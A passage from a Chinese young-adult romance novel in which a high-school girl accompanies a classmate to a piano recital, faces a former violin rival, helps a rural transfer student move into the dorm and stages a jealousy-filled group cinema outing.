此时倪青葵就会走过去,充满关爱地问道:“他们不跟你说话啊?”
他恢复听力:“嗯。”
“好过分。”她捏紧正义的拳头,不能忍受。
“是有点。”他语气淡薄,听不出愤慨。
“你喜欢一个人吗?”
“不喜欢。”
“那我陪你走吧。”
“谢谢。”他嘴角弯弯,笑容感激。
一个孤独的人,带一点动容的笑,就会显得很凄惨。
倪青葵心怀悲悯:“那我以后都陪你走怎么样?”
“好。”江轸的动容更深了。
倪青葵觉得帮助到同学,心里也会暖暖的:“那我们以后放学一起走吧。”
江轸就此获得了在倪青葵旁边步行回家的权利。
当然,她的另一边还有一个脸很臭的简书颐。
倪青葵漫不经心地在看他的竞赛题的时候,江轸已经把试好的西服又脱了,正穿着那件白衬衫打领带。
片刻后,听见他喊一声:“倪青葵。”
“嗯?”
“帮个忙。”
倪青葵抬头一看,江轸的领带打得很失败,不知道缠在哪个扣子上了,歪歪斜斜地挂着,从肩上斜下来一段。他衣服的扣子也没系好,洁净的衬衫之下裸露一截更为洁净的锁骨,整个人显得很凌乱但有种不经意的性感。
江轸还因为麻烦微微蹙眉,倪青葵不合时宜地想,他现在的样子……好像失足少男啊。
就这样跪下大喊女侠饶命也不错啊!
啊哈哈哈哈哈哈!
倪青葵没再笑出声,但憋笑的表情俨然表明她已经想入非非了。
江轸走近,微微折身,低声重新提醒:“帮个忙,缠住了。”
倪青葵很乐意助人,她起身:“你坐下吧,太高了我够不着。”
江轸照做。
倪青葵低着脑袋,仔细去看他衣服的故障出现在哪里。
领带真丝面料的暗纹处,勾住了第二颗扣子的缝线处。他扯了一下,没扯开,快把领带本身的经纬线都拉歪了。
倪青葵打量着江轸歪歪斜斜的衣襟:“虽然我也没打过领带,但我觉得,你应该得把扣子全都系上再打领带吧,你这样松开三个算什么?”
“是吗。”他挑眉。
“对啊。”
“我准备打好再系。”
唉。
倪青葵在心里叹了一声,脑海里浮现三个字:好笨啊。
但她是不会说出口的,她不能伤害朋友的自尊心。
比起笨,或许用木讷来形容眼下的场面更贴切。
高分低能,不外如是。
平凡的人类偶尔也会心疼一下天才。
江轸请求:“那就麻烦你顺便系一下。”
“好。”
不过她很快发现,江轸也没那么笨。
因为他要是刚才发现缠住,直接蛮力生拉硬拽的话,再往下扯一截,领带就要被钩坏了。
看这领带的花纹、色泽、手感,一定不便宜。
看来上帝还是会给低能的天才留一点好运气的。
“不要紧,熟能生巧,”她很乐观,笑着安慰他,“我们还小呢,等你以后升级为总裁,闭着眼睛都能打领带啦。”
她粗着声音,学着成熟男性的嗓音,假装接电话,“喂?顾秘书,帮我接下那个8个亿的项目——什么?!那女人溜了,立刻给我申请好私人航线,今晚就飞旧金山!我江某人定要她插翅难飞!”
江轸被她逗得低笑了一声。
倪青葵正在捏着他的衬衫扣,最上面那一颗扣子正接近他的喉结,于是她指骨骨节安放的位置,恰好抵住那一处坚硬振动的部分。
倪青葵下意识地缩起手指,又下意识地说了句:“碰到你喉结了。”
他说:“我有知觉。”
“……哦。”
他声音好低好沉,在胸膛、在喉咙、在唇畔。
胸膛接近她的身体,喉结接近她的指骨,嘴唇接近她的脸。
无论从哪一处溢出,这样的距离里,都让她仿佛被侵占了城池,没有逃遁的出口。
倪青葵瞥他一眼,男生如深潭一样的双眸几乎要将她吞噬。
她心底顿生慌乱。
每当别人在盯着她急于完成某件事的时候,本就容易着急,江轸的笑声和嗓音加重了她的浮躁。
倪青葵低着头,觉得耳朵很热。手指之下是他的锁骨和脖子,眼睛抬起,就看到男生漂亮的下颌线,唇周泛着一点青气。
她眨眨眼,不敢再往上看他的眼睛。
手里的动作没一气呵成地完成,只能迫使自己镇定,又像找借口嘀咕了句:“我发现你这个扣眼还有点紧呢。”
倪青葵的背后,卧室门有响动。
江妈妈端着切好的橙子开门进来了。
江轸看过去一眼。
江妈妈端着切好的橙子关门出去了。
9. 遗憾09
倪青葵也听见动静了,回头一看,门竟然又关上。
她喊了一声,“阿姨!”
松开手,倪青葵对江轸说:“你别急,我叫阿姨来弄吧,她应该比我熟练点,其实我根本不会打领带。”
他还没来得及应答。
倪青葵立刻丢下江轸,转过涨红的脸颊,如蒙大赦地跑出去了。
半分钟后,江妈妈进来。
江轸已然起身,高大站立在光中,长指正在利落地往上推紧领带,将饱满的领带结抵紧。
江妈妈:“诶?”
江轸调整好领带的位置,从容地拎起西装,“走吧。”
-
江音附中离三中很近,在同一条道路的起点和终点。
下午两点多,江妈妈的车停在江音附中的演出厅门口。
江轸昨天晚上已经来过,参与彩排。
他领着倪青葵到前方的表演者席位入座,礼堂座位有限,到场的观众仅限音乐附中的学生。
江轸的出场顺序靠前,他习惯这样的场合,没有紧张,也没什么期待,很快中规中矩地完成演出。
当然,更重要的是,他并不想进入到第二赛段,还故意弹错了几个音。
在专业学校演奏属实班门弄斧了,江轸在乐器方面的才能算不上顶尖,也就足够撑起一些校园节目。
比起他的琴声是否动听,对于这位三中的知名学霸,台下的人或许更愿意关心的是,这位选手有没有女朋友。
靠颜值取胜的江轸还是收获了热情掌声。
江轸下台后,很多的视线跟随,他在台上时,那些对准他的摄像头追到了观众席。
他们坐的位置在第三排。
倪青葵敏锐地察觉到,光是前面两排就有许多灼热的眼神跟过来,甚至有手机在对着自己的方向拍摄。
她将肘关节撑在座椅扶手上,借扶脸的姿势,稍微挡了挡脸。
被她的手臂隔绝开的江轸,也见不到她的侧脸,他沉声问:“坐我旁边很丢脸?”
倪青葵被他的声音震得酥麻,但也没放下手,视线往下方一瞥,是男生散漫叠起的长腿。
她说:“是我怕给你丢脸。”
手腕突然被一只微凉的手拉住,那只被誉为很适合弹钢琴的手正松松地握着她的腕子,修长的指骨有一部分贴近她温暖的掌心,凉得她心口一紧。
他慢慢拉下她挡住自己的手:“不要这样,我会很挫败。”
倪青葵对上江轸淡然而又厚重的视线,放下手的那一刻,她察觉到自己很重的心跳声,身边明明是热闹氛围,却在与他对视的瞬息,感受到一片寂静。
接着,他手机上有消息,看了一眼,江轸放下交叠的长腿,跟她说:“后台有个采访,我一会儿回来。”
倪青葵点头:“好。”
她看着江轸的背影离开,耳边传来主持报幕。
紧随其后上场的是,江音附中高中部交响乐团的暖场演出。
表演曲目:《贝多芬的第五交响曲:命运》
比起小学的乐团,高中部的交响乐团已经初具规模。
这个舞台的期待值显然很高,上场前就有不少人在振臂高呼。
统领全局的指挥站在台前,他一抬手,全场安静,紧接着,气势庞大的合奏声响彻全场。
而倪青葵的视线不自觉地投向舞台左前方,第一小提琴的位置。
曾经是倪青葵。
现在……
是杜若。
应该紧张的人并不是倪青葵,她却不由地掐住了指尖。
隔着一点距离,倪青葵看着穿着黑色长裙,高高盘发的少女正襟危坐,杜若架着琴,指尖在指板上颤动,音符倾泻而出,像逃出牢笼的困兽,表情随着曲乐的情绪变化,沉浸其中。
倪青葵想,她比从前更加的出落、从容了。
诧异过后,她的心中稍有动容。
她回忆一番,似乎还是第一次坐在观众席,这样远远地看着杜若。
金色的舞台上,女孩子意气风发,占据绝对首席的位置,此时此刻,连头发丝都在发光。
五六分钟后,演出结束,掌声雷动。
倪青葵正要附和鼓掌的时候,发现台上的杜若似有若无地往这里投了一眼。
她无所适从地避开视线,发现江轸还没回来,心下赶紧给自己找了个借口溜了。
后台有本地电视台的记者在做采访,有学生在化妆,倪青葵过去的时候,看到江轸在后边和记者说话。
她正要走过去,旁边刚下来的交响乐团成员挨个进来,混乱的队伍经过,倪青葵就让了让步。
很快,耳边传来一声惊呼:“倪青葵?!”
拎着大提琴的女孩经过,拨了一下倪青葵的肩膀,仔细看看她的脸:“倪青葵!!居然真的是你!”
这是倪青葵在少儿交响乐团的好朋友。
“王菁。”倪青葵看到对方,拉着王菁兴奋地伸过来的手,“你瘦了好多啊!”
后面又跟过来一个女孩,温和微笑:“青葵,你今天也上台了吗?”
“嗨,灵灵,”倪青葵友好地笑一笑,“我没上,陪江轸来的。”
顾灵灵一听,眼睛睁圆,左顾右盼:“江轸?!”
又有声音跟上:“倪青葵!你居然也来了。”
倪青葵像是聪明地找到对话的玄机,立刻往后指指:“江轸在后面。”
而女孩子可爱地眨眨眼睛:“谁要看他啊,我想的是你好不好?”
不等反应,对方便热情地扑过来,蹭倪青葵一头发的粉。
初中三年,大家各自发育长开,各有变化,但小学同学们熟悉的面庞仍然让她温暖,倪青葵瞬间陷入满满的回忆,想起当年和他们一起学琴的时光。
学艺术的女孩子们漂亮灵动,一个个穿上漂亮的礼裙,像是下凡的精灵。
——不过,精灵里混进了一只天鹅。
杜若拎着琴走过,穿黑色长裙,头发束起。睫毛刷得浓密,已经可以画成熟漂亮的妆容了。嘴唇闪亮,很适配今天的舞台。
像个黑天鹅。清冷、尖锐、骄傲。
跟小时候一模一样。
倪青葵穿简单的白色外套,运动休闲,扎个马尾,今天俨然是给江轸跑前跑后的小助理。
此时此刻的她,看起来并没有拿得出手的本领,和这个高贵的“大明星”相提并论。
倪青葵还在犹豫要不要打个招呼,杜若已然开口:“逃兵有什么资格站在我面前?”
冷飕飕的风无情刮过耳朵,压根没给她对答的余地。
一抹黑色的身影短促又凌厉地迈过。
杜若穿了高跟鞋,香水散开无痕。
倪青葵愣在她满身香气之中。
下一秒,低沉稳重的男生声音从身后传来——“她不站在这里,就站在你的首席位置上。有选择权的不是你。”
杜若顿住脚步,回眸,冷冷扫一眼江轸:“你凭什么觉得我不会进步,你凭什么觉得她一定就压我一头?!”
江轸往前,到倪青葵的身边:“她不会把乐章衔接处的rubato处理得生硬拖沓,不会泛音哑火,我不认识贵校的学生,但难免好奇,这位首席是在和指挥怄气,还是刚刚上任?配合得竟然这么狼狈。”
杜若脸色一黑,“今天的曲子不作为参赛项目,也没怎么排练,我还没来得及细抠。”
“她对待任何一个舞台都不会随便。”
江轸注视着她,提醒,“水平可以进步,态度不会,这就是你追不上的原因,差距只会越来越大。”
杜若拔高音量:“我跟你说话了吗?你凭什么挑衅我?!”
江轸正要再度出声。
胳膊被人拉住,是倪青葵轻声阻止了他:“江轸。”
倪青葵对杜若太熟悉了,她比江轸更知道怎么对付这场面。
对于自我意识过剩的人,你越搭理她她就越来劲。
于是她往前一步,上下瞅瞅她:“这位同学,你……不好意思,你叫什么来着。”
她面露困惑,眨眨眼看向江轸:“她叫什么?”
“杜若!!!”盛气凌人的女孩果然忍不住跳脚,瞪着倪青葵,“你韩剧看多了吧装什么失忆!!”
江轸低头,轻笑。
倪青葵干干一笑:“你别激动,其实挺脸熟的。那个什么,我认识的人太多了,小学同学有点遥远,况且咱俩好像不是一个班的?你是实小的吗?”
总觉得这个杜若下一秒就要踏着高跟鞋过来把她踩死了。
倪青葵抬起双手,做出防御状态:“好好好,杜若杜若,现在记住了,也尽量不会忘了。”
她依然讪笑,“冷静点,冷静点。”
对面女孩不吱声了,只用力地瞪着她,直到眼睛有点发红,尽管她一语未发,但倪青葵清清楚楚地看到她的眼里写了一句:你怎么可以这样对我?
倪青葵惺惺作态的笑容有所收敛。
杜若出身音乐世家,可从小到大,她活在另一个女孩的光环之下。
首席的位置是倪青葵的,杜若没有机会。
她不知道无忧无虑这几个字怎么写,她的童年,只有挣扎、彷徨、一败涂地,父母极高的期望像一座山压在身上,让她无法喘息。
因为能力不够,她只能给别人做配角。
她只能远远地看着她的背影,看着另一个人站在第一首席的领军位置。
小学生的乐团没有那么规模庞大,是简化了声部结构的,导致第二小提琴声部没有首席,作为副首席的杜若被安排在第二小提琴声部的最后一排,这样的安排方便她引领那边的小朋友,这样的位置,让她显得像个“管家”,只能远远地看着那个万众瞩目的明星。
倪青葵是她的另一座山。
于是她讨厌她。
不加掩饰地讨厌。
杜若收起凌厉的注视,抬脚要走,然而人在狼狈的情况下只会加倍狼狈,地毯的褶皱把她高跟鞋卡了一下。
身后来了个男生,将她搀扶住,轻声道:“不要逞强了,杜若。”
女孩子迁怒到他,刀了他一眼,甩开他的手走了。
穿黑色礼服的男生走到倪青葵的面前,看了看她:“倪青葵,你还记得我吗?”
“陈思尧。”
男生微笑:“嗯。”
看到昔日的伙伴站在面前,倪青葵应该想什么呢?
他还是这么清瘦,亦或是,他还是这么温柔。
陈思尧文气清秀,皮肤很白。他是真的瘦,无需参照物,一眼看上去就弱不禁风那种。这样的男孩子,充满艺术气息,往钢琴前一坐,漂亮的手指搭上琴键,气质就像一首描写冬天的诗。
他的开场白是:“你在三中开心吗?”
倪青葵笑笑说:“开心啊,我有很多好朋友,还在当班长,成绩也不错。”
“那你,现在还在练琴吗?”
倪青葵轻轻摇头。
“不练也没有关系,我觉得,不管怎么选择你都会很好的。”陈思尧温文一笑,尔后又面露惆怅,“只不过,偶尔还是会为你感到可惜。”
陈思尧是很欣赏倪青葵的,他觉得倪青葵是一个很好的人。
这几个人里,陈思尧和倪青葵是认识最早的,早到连相识的记忆都缺失,自打有印象起,他们就在一个艺术机构学琴了。她拉琴,他弹琴。他们在幼年结识,所以陈思尧有权不连名带姓地喊她,在以同学的名义排列在一张名单上之前,他只知道,她叫青葵,或者小葵。
读小学,一起在实小,她被选进乐团。他作为钢琴独奏,偶尔参与进去。
倪青葵有很多的小伙伴。
在少儿交响乐团的日夜,她与他们一起站在台上,排练,戴花,画夸张又可爱的妆。他们一起吃饭,一起迎接老师同学,迎接掌声。
每一个人,因为音乐而结盟,吵吵闹闹,最
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终站在同一边,成为同伴,成为战友。
倪青葵一定是收到掌声最多,最闪闪发光的那一个。
她是不为旁人让出机会的最强首席。
她会指着音乐书自信地说:“等我当上世界级的小提琴家,我的名字也会印在这里。”
她都不会加一句,陈思尧你信吗?
她对未来的展望一定是句号。
有天赋的人一定是光环加身的,她还那么的灵动鲜活,热情向上,充满无尽的生命力。
他早早地在她的身上看到,令高傲的杜若自小感到沮丧的真相:有的人生来就是主角。
陈思尧在凝视着她的片刻里,想到的是他们在学校迎来一场大雪,他在那个凄凄冷冷的季节里,因为同学的嘲笑,坐在排练室里垂头丧气。
她来关门时发现他,问发生什么。
“他们说我娘。”
倪青葵没有笑,也没有生气,她可以听出小学生之间那种莫名其妙的恶意,倒也没有做出装傻充愣的不解,只是轻轻地说了句:“说你娘不是夸你吗?”
“妈妈有什么不好的,妈妈很温柔啊,你也很温柔。像女孩并不是坏事,对吗?”
在无法消灭的恶意里,人可以选择自渡。
他听到后,险些流泪。
感到小小的手掌搭在自己的肩上做安抚,他抬脸看到她清澈的眼睛。
活泼但不莽撞,友好但不虚伪。
陈思尧知道她为什么耀眼,知道为什么她的身边总是萦绕着欢声笑语。
他知道倪青葵是多好的人。
得知她考试失利,他没有像旁人一样追问她为什么,没有质疑,没有惊讶,没有失望,他知道她经历了一些难以自愈的伤痛,于是只是说:“青葵,希望你快乐。后会有期。”
如今,适应舞台的陈思尧已经不会再逃避镜头了,但六年前的他只是个软弱小孩,重要的时候无法抓住机会。
当年,半路杀出个江轸,替代了他的伴奏位置。
他的出现极为强势与突然。
就像现在——
江轸又长高了很多,需要他稍微抬起眼睛看了。
高大而具有压迫感的男生站在面前,挡住了身后的倪青葵,问他:“还有事吗?”
江轸握住倪青葵的手腕。
“没有的话我们就离开了。”
陈思尧想解释,他和杜若的来意不同,以此消解江轸那一身锋芒毕露的敌意。
但二人已经匆匆往外走。
于是他只是大喊了一声:“青葵!”
女孩转头。
很多的话想要说,紧迫的关头,到了嘴边就变成一句:“后会有期。”
-
傍晚,江音附中某处传来恢弘的琴声。
排练厅的乐团正在准备他们的跨年音乐会。
艺术院校的气氛比三中轻快很多,梧桐树下,他们经过西式建筑的教学楼,乐器声悠扬,每一段都让人忍不住驻足细听。
这是倪青葵当年没考上的学校。
虽然没来过几次,但她仍然清晰记得,当年失利的那个考场,是从哪一条路,哪一个转角过去。
她脚步沉缓,每踏出一步,都像在把旧日的欢乐记忆踩碎一点。
倪青葵四处看看,直到发现江轸正在打量着她。
她面向他,挤出一个笑,语气随意如逛公园,点评一句:“他们的建筑很漂亮。”
江轸收回视线,低头走路:“嗯。”
又走了一段路。
江轸忽然说:“你的攻击力还挺强的。”
“真的?”这话被倪青葵听了,像被夸一样,她还露出胜似骄傲的表情。
“你的名字是她的心结,你知道。”
倪青葵笑道:“你可以直接说我歹毒,我不会生气的。”
江轸看了看她往前走的背影,好半天,说了句:“不在意的话就不要难过,在意的话,就不要假装不在意。”
倪青葵身影一怔,片刻后,她回眸看他:“你哪只眼睛看到我难过了?”
没有难过,那就是像陈思尧说的,遗憾、可惜?
情感深处零零散散下落的碎屑,还构不成一段完整的难过,像淅淅沥沥的雨天,一点也不滂沱汹涌,但人在里头走一走,不知不觉也湿透了。
小学毕业前夕,他们说好一起考江音附中,倪青葵没有出现,最后她去了省实验。
开学的日子,登上电脑Q.Q,就看到杜若发来的一连串消息——
你人呢!!
你知道我等了你多久吗?
倪青葵,我讨厌死你了,从小就讨厌!
你甘心吗?
我一点都不甘心。
谁要当你的手下败将。
你出来啊!!
我讨厌你。
倪青葵看着满屏的感叹号,吓得不轻,赶紧回了一句:你别嚎了,没去是因为我没考上,没别的原因。
杜若:我才不信!!!
自那之后,倪青葵就再也没回复过她消息了。
简书颐闻其轶事,评价道:“是不是那种二百五的热血动漫看多了?”
简书颐觉得杜若这人挺有意思的,给出的理由是:“比我还刻薄的人不多。”
此刻,回顾那双“刻薄”的眼睛,倪青葵想象不到,倘若当着她的面,杜若会用什么样的语气,说出她留言给她的最后那句话——倪青葵,你知道我为你流了多少眼泪吗?
江音附中的林荫道落满枯叶。
合唱团的排练好似结束,梦想的声音越渐遥远。
她在路的尽头回望黄昏,出神太久。
直到耳侧沉沉一声:“倪青葵。”
“嗯?”她回过头,看向身边人。
枫叶飞舞,旋转,萧瑟风中,江轸平和地提醒:“我们十六岁了。”
他的声音和衰落的叶子一起飘摇坠地,宛如尘埃落定的逝去光阴。
10. 遗憾10
音乐附中的氛围果然还是不适合倪青葵,不管是遇到杜若这样一惊一乍的人,还是遇到往日那些关怀但满脸遗憾的老朋友,倪青葵都得紧绷着应对。
她不想听到小提琴相关的任何问题。
你到底为什么不学琴了?
你为什么没考好?
你不是天才吗?
你以后还会拉琴吗?
任意的质问都会把她往外推。
她不想回答,只想逃离。
只有回三中,才如回家。
面前同学们这些枯槁的眼神,耷拉的眼袋,厚如城墙的镜片,一蹶不振的精神面貌,气息奄奄的朗读声,下课就死气沉沉趴倒一片的教室,才是让她松弛自如的可爱环境嘛。
舒适、舒适!
倪青葵把遇到杜若的事情跟简书颐说了之后,简书颐倒也不意外地点点头:“凭借夜以继日的不懈奋斗和努力,终于让自己活成了一个反派。
“不过——她居然还在扑腾吗?看来是终极boss了。”
听着她妙语连珠的吐槽,倪青葵扶着脸笑。
简书颐:“笑什么。”
“你觉得我能打倒这个boss吗?”
“你不是都出局了吗?”
倪青葵笑容变淡,若有所思。
教室门口,李帆喊:“倪青葵。”
她回神:“诶!”
“过来下。”
倪青葵小跑过去,看到李帆后面跟了个陌生的女生。
李帆说:“转学生,在办住校手续,高一宿舍没位置了,安排在三号楼,你去找那边的宿管阿姨签个字,然后领她去安顿一下。”
“好。”
倪青葵接过李帆递过来的申请单。
她粗略地扫了一眼单子,又回头跟转学生打了个招呼,“你好,我叫倪青葵。”
女生应该是正在打量她的侧脸,对上倪青葵突然看过来的眼睛,顿了一下。随后,她像是也笑了笑,做了个微微抿唇的动作,其实并没有笑出来,又静静地低下了脸。
转学生叫叶星蒲,很清瘦,扎个马尾,头发特别长,扎起来都到腰了。
她话不多,性子很冷静,倪青葵跟她简单聊了几句,两人就到了宿舍区。
现在是中午放饭时间,高三要晚一刻钟下课,所以3号楼很宁静。
倪青葵把她领到宿管室的时候,看到校门口停了个三轮摩托,引擎还没熄,倪青葵问:“你家里人吗?”
叶星蒲:“是找的师傅,家里没有人来。”
她说着,拿着倪青葵给她的单子,快步进了宿管室找阿姨登记。
倪青葵看了下她的行李,三个纸箱,一个行李箱,一个蛇皮袋。
司机坐那抽烟玩手机,纹丝不动,一点忙不愿意帮。
倪青葵撸起校服袖子,先把蛇皮袋拎了下来,紧接着又搬下一个纸箱,最后那个格外的沉,她给自己加油打气:“一二——走!”
……没走起来。
再来一次:“一二!”
身后传来男生的声音:“三四!”
倪青葵鼓胀的红脸往旁边一歪,看到方立函散漫地站在那儿,微微倾斜着身子对她进行打量,眼睛带笑。
他可能是准备出校门吃饭去,正好经过这栋楼。
“可以啊班长,看着细胳膊细腿,手能挑肩能扛的,”方立函把她手里的箱子按回去,“不过以后这种事找我做就行了。
倪青葵直起身来,捶一捶差点闪到的腰:“你不是身体不好吗?”
方立函笑了:“这话说的,生病不是人之常情?我也没那么娇气吧。”
看到从宿管室走过来的女生,方立函问她:“我们班的吗?”
“对,新同学,她叫叶星蒲。”
倪青葵说完,用手掌指着方立函,跟转学生介绍说,“这是副班长。”
男生友好伸手:“方立函。立正的立,函数的函。”
叶星蒲只看了他一眼,浅浅地“嗯”了一声,戒备心很重的样子,并没有接过对方的掌心。她知道自己抿唇的样子并不算个笑,索性也不笑了。
倪青葵笑了下,把他手臂推开,打圆场说:“不用这么严肃。”
她走到宿管门前,“阿姨,他帮忙搬下行李,可以上去吗?”
宿管看了一眼门口的少年,问她:“一个班的是吧?”
“对。”
“去吧,走东边楼梯,搬完赶紧下来,一会儿她们下课了。”
“谢谢阿姨。”
倪青葵指了一下摩托车,跟方立函说,“有几个箱子,还得麻烦你帮我们搬一下,司机进不去。”
方立函得到指令,把刚才倪青葵提不动的那个箱子从车上取了下来。
叶星蒲连忙制止:“这个装的都是书,特别重,我自己搬吧。”
“没事,我来。”方立函对她说,“你上去吧。”
她思考了两秒,点点头,然后跟倪青葵一起提了一个大大的蛇皮袋往楼上走。
“不好意思,东西有点多。”
倪青葵笑说:“没关系,搬家嘛。”
好死不死,这七楼的宿舍没电梯,而她的寝室恰好在七楼。
进了门,找到自己的床号,叶星蒲把蛇皮袋打开,将里面东西取出来,可能有一些易碎的物品,需要她检查有没有损坏。
她不知道时间紧迫,倪青葵语速飞快地说:“你先不要整理东西了,还有两分钟高三下课了,趁他还没搬完,我帮你铺一下床吧,两个人动作能快一点,省得你晚上浪费时间。”
“好。”叶星蒲赶紧放下手里东西。
倪青葵来回看了看,像在找寻什么,又跑到阳台看了看,对她说:“这儿有个剩下的床垫,应该是上一届学姐留下的,你介不介意?”
叶星蒲:“没事。”
倪青葵说:“那就好,我先给你垫上,睡床板会很痛的。”
她把那个床垫从一堆废物里拉出来,叶星蒲连忙过去帮忙。
倪青葵说:“先将就着,后面你换不换另说。”
叶星蒲只是点头。
她眼神沉静,干活利落,看起来是很内收的性格,但和内敛又有点不同。
铺床的时候,倪青葵跟她闲聊。
“你是哪里人?”
“云穆山。”
倪青葵没听说过:“是地级市吗?”
“我们那儿的小镇,在山里。”
“哪里的山?”
“长江上游。”
“也能看到江吗?”
“不能,但是坐火车来江城能看到,”叶星蒲很利索地挂着蚊帐,语气淡淡地说,“其实昨天才第一次见到长江。”
闻言,倪青葵顿下手里的动作,她突然拉了一下叶星蒲的手腕,偷偷一笑:“过来一下。”
叶星蒲被她重新带到阳台,倪青葵飞快地把门一拉,江风涌进七楼,把女孩额前的碎发往后掀,她抓着叶星蒲的手,另一只手往外面展开,倪青葵的发尾被高楼的风吹动,像灵动的小雀来回摇摆着,在巨大、稀碎而鼓噪的风声里,她大喊:“往下看!”
不远处,平静的江面开阔敞亮,寂静包容。货船泊岸,轮渡穿行。
阴天的日光在乌云散开的瞬间,和女孩的笑容一同浮现,倪青葵笑容明亮:“好幸运!你以后能天天看了!”
叶星蒲看着倪青葵,也像在看着她背后的江水,她滞了片刻,说:“好漂亮。”
即便说着赞美的话,语气也是很沉稳的。
倪青葵拍拍干完活的手,一蹦一跳出去:“是吧,我也觉得。”
两人出寝室门的时候,方立函正好把最后一个行李箱搁在门口,“好了?”
倪青葵扬着脑袋看他:“这位养尊处优的少爷,想不到你还挺矫健呢,七楼上上下下,气都不喘一下?”
“你知道为了等你这句话,我装得有多累吗?”方立函点点自己的喉咙,“一口血已经到这儿了,下去赶紧找个没人的地方吐了。”
倪青葵笑得很大声。
叶星蒲的脸上浮现出一丝尴尬,看一眼男生:“不好意思啊。”
方立函轻笑着,摆一下手,“开玩笑的,别多想。”
到楼下,泱泱大军才走过来。
方立函出去吃饭。
叶星蒲去了食堂。
倪青葵准备找一下简书颐在哪,跟叶星蒲分头时,对面走过来几个1班的男生。
杨博跟倪青葵打了个招呼,又冲着刚走不远的背影指了下:“我们班的?”
“对,新同学。”
“哪个山嘎达来的?怎么穿的跟出土文物一样。”
倪青葵愣了下,表情迅速冷下来,“杨博,你知不知道礼貌这两个字怎么写?”
杨博嗤笑一声:“本来就是山里来的有什么不能说的?”
倪青葵往前一步,严肃地用手指着他:“你敢说你刚才的话没有嘲笑语气?”
男生差点被她戳到脸上,绕开她:“神经病吧你,上纲上线。”
倪青葵盯着他,用眼神步步紧逼,直到杨博的背影消失在转角处,她才翻了个白眼走了。
-
转学生的位置被安排在靠讲台的空位。
这个座位一般是专门给不良分子留用的,李帆本来打算让她坐在江轸旁边,但是叶星蒲拒绝了,她说近视。
李帆问她眼镜是不是没调整度数?她说没有眼镜。
李帆意味深长地哦了一声,又问暂时坐讲台边行不行,叶星蒲毫不介意地答应。
11月月初,气温骤降,期中考试结束。
秋高气爽的日子,倪青葵做了一个“一箭三雕”的重大决定。
考完最后一门课的星期五,江轸收到倪青葵的消息。
倪青葵:小江小江。
江轸:什么事?
倪青葵:报答你,看不看电影。
江轸:不看。
倪青葵:有一个地方只有我们知道。
江轸:没有。
倪青葵:好的,周日下午三点半的场,在银泰,waityou~
周日下午三点,江轸出现银泰电影院的时候,跟简书颐之间发生了平静而又风起云涌的三秒钟对视。
彼此脸上都写着“怎么又是你?!”的无措、无望以及无语。
似曾相识的三年前。
倪青葵:小江小江。
江轸:什么事?
倪青葵:今晚有流星雨,来我家天台一起蹲!
江轸:睡觉。
是日,凌晨两点,江轸在她家天台给倪青葵和简书颐拍照。
一年前。
倪青葵:小江小江。
江轸:什么事?
倪青葵:星期六爬山吗?
江轸:腿疼。
星期六的山脚下,江轸去买水,还得顺便给简书颐带一瓶的时候,他在思考,人类究竟为什么不能只有一个朋友?
一切不具有排他性的感情,都是在挑战天蝎的底线。
眼下,倪青葵拉住简书颐的手走向江轸时,简书颐心情不错地看了他一眼。
江轸转过身,眼不见为净:“我去取票。”
简书颐这个人有一款极其严肃的强迫症——当然,也有可能是针对他研发出来的心机。影院的座位,她一定要按照到手的号码坐,当“喜欢”和“讨厌”的情绪同时发生时,三个人的排座问题也可以严重得像打仗。
众所周知,ABC三人同行,A和B有讲不完的悄悄话时,C只会度秒如年地许愿地球快点爆炸。
人是可以忍受孤独的。
但不能忍受AB————C。
江轸输入倪青葵的电话号码,三张票依次出来。
江轸自留了中间的座位,正在满意于“先下手为强”的计谋得逞时,耳边
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传来酷嗤酷嗤的声音。
第四章票掉了出来。
与此同时,一只胳膊松散地搭到他肩上。
“哥们,你怎么也来了?”
对上方立函皮笑肉不笑的表情,江轸甚至都没来得及反问他:这句话是不是应该我说?
新的思路已经呼之欲出——
方立函、简书颐、江轸、倪青葵。
就这么排,他接受。
但方立函没给他分发的机会,直接抽走了他手里的票,转身向两个女孩走去。
江轸指尖一空。
方立函随手把票发了出去。
简书颐、倪青葵、方立函、江轸——
江轸拿着机器吐出来的最后一张票,平静地跟在后面的时候,他希望工作人员能在此刻勇敢站出来,宣布电影院正式倒闭。
坏消息,事与愿违,电影院活得好好的,电影照常上映。
好消息。
江轸还有一个底牌。
四个人围着一个小圆桌等待。
倪青葵觉得氛围不对劲。
特别不对劲。
简书颐什么话也不说,正凝视着倪青葵。
方立函抱着胳膊坐,他闭眼低头,半张脸藏在夹克外套拉直的领子里。
江轸叠腿,指关节抵着下颌,另一只手用手指抻着那张票,漫不经心地在看票面信息。
倪青葵看过去、看过来,看过来、又看过去。
“你们……干嘛都不讲话?”
安静片刻。
三道视线齐齐扫向她。
江轸:“倪青葵。”
简书颐:“我觉得。”
方立函:“你有必要解释一下。”
简书颐:“为什么。”
方立函:“来了。”
江轸:“这么多人。”
“……”
江轸目光沉静。
简书颐目光冷漠。
方立函目光无语。
倪青葵有一点心虚,也有一点无辜,她捧着脸,赔笑说:“我也没说是1v1啊,大家都是同学,一起看个电影没什么问题吧?”
看起来无人买账。
倪青葵接着说:“江轸帮我出了个节目,我报答他,方立函天天帮我跑腿,一起报答。怎么样,嘿嘿。”
三个人异口同声:“不怎么样。”
“……”
倪青葵还在自己的立场坚持:“一举多得,还节省我时间,多好啊,怎么就不怎么样。”
江轸和方立函异口同声:“那她呢?”
倪青葵:“我跟书书是好朋友啊。”
江轸和方立函异口同声:“我不是?”
倪青葵:“那肯定还是不一样的,我们娘胎里就认识了。”
简书颐眉飞色舞。
两个男生沉默。
倪青葵抱着脸,视线在他们仨之间转来转去,手指点点脸颊,心虚地瞄来瞄去,想办法:“那要不,我,单独跟你们,每个人,各看一次?”
江轸和简书颐异口同声:“不行!”
“那不就得了!”
倪青葵恼怒地揭竿而起。
静了静发现……
好像有人没说话。
她看了眼方立函,又坐下,“你呢?”
方立函很随和:“他们同意的话,我没意见。”
江轸和简书颐异口同声:“不同意!”
方立函低下头,又把半张脸藏进衣领里,像是很淡地笑了下。
他把和倪青葵的聊天记录打开看了下,确定她说的是,她会和简书颐一起,并没有提到江轸。
倪青葵不伺候了,她重新站起来:“要作去马路上作,我去买奶茶。”
方立函静静地看向面如玄坛的简书颐,余光里是八风不动的江轸。
他把手机揣裤兜里,起身跟随,“我陪你去。”
奶茶店在同一层楼,但两人得出电影院。
简书颐懒得动弹,就没跟上。
她诧异的是,江轸居然也没动。
可疑。
果不其然,等视野里的两个身影消失,江轸夹着手里的票,手指往她那边一转,票在他指尖,也呈现在她面前:“交换。”
简书颐微笑说:“你姐的笔记我已经复印好了。”
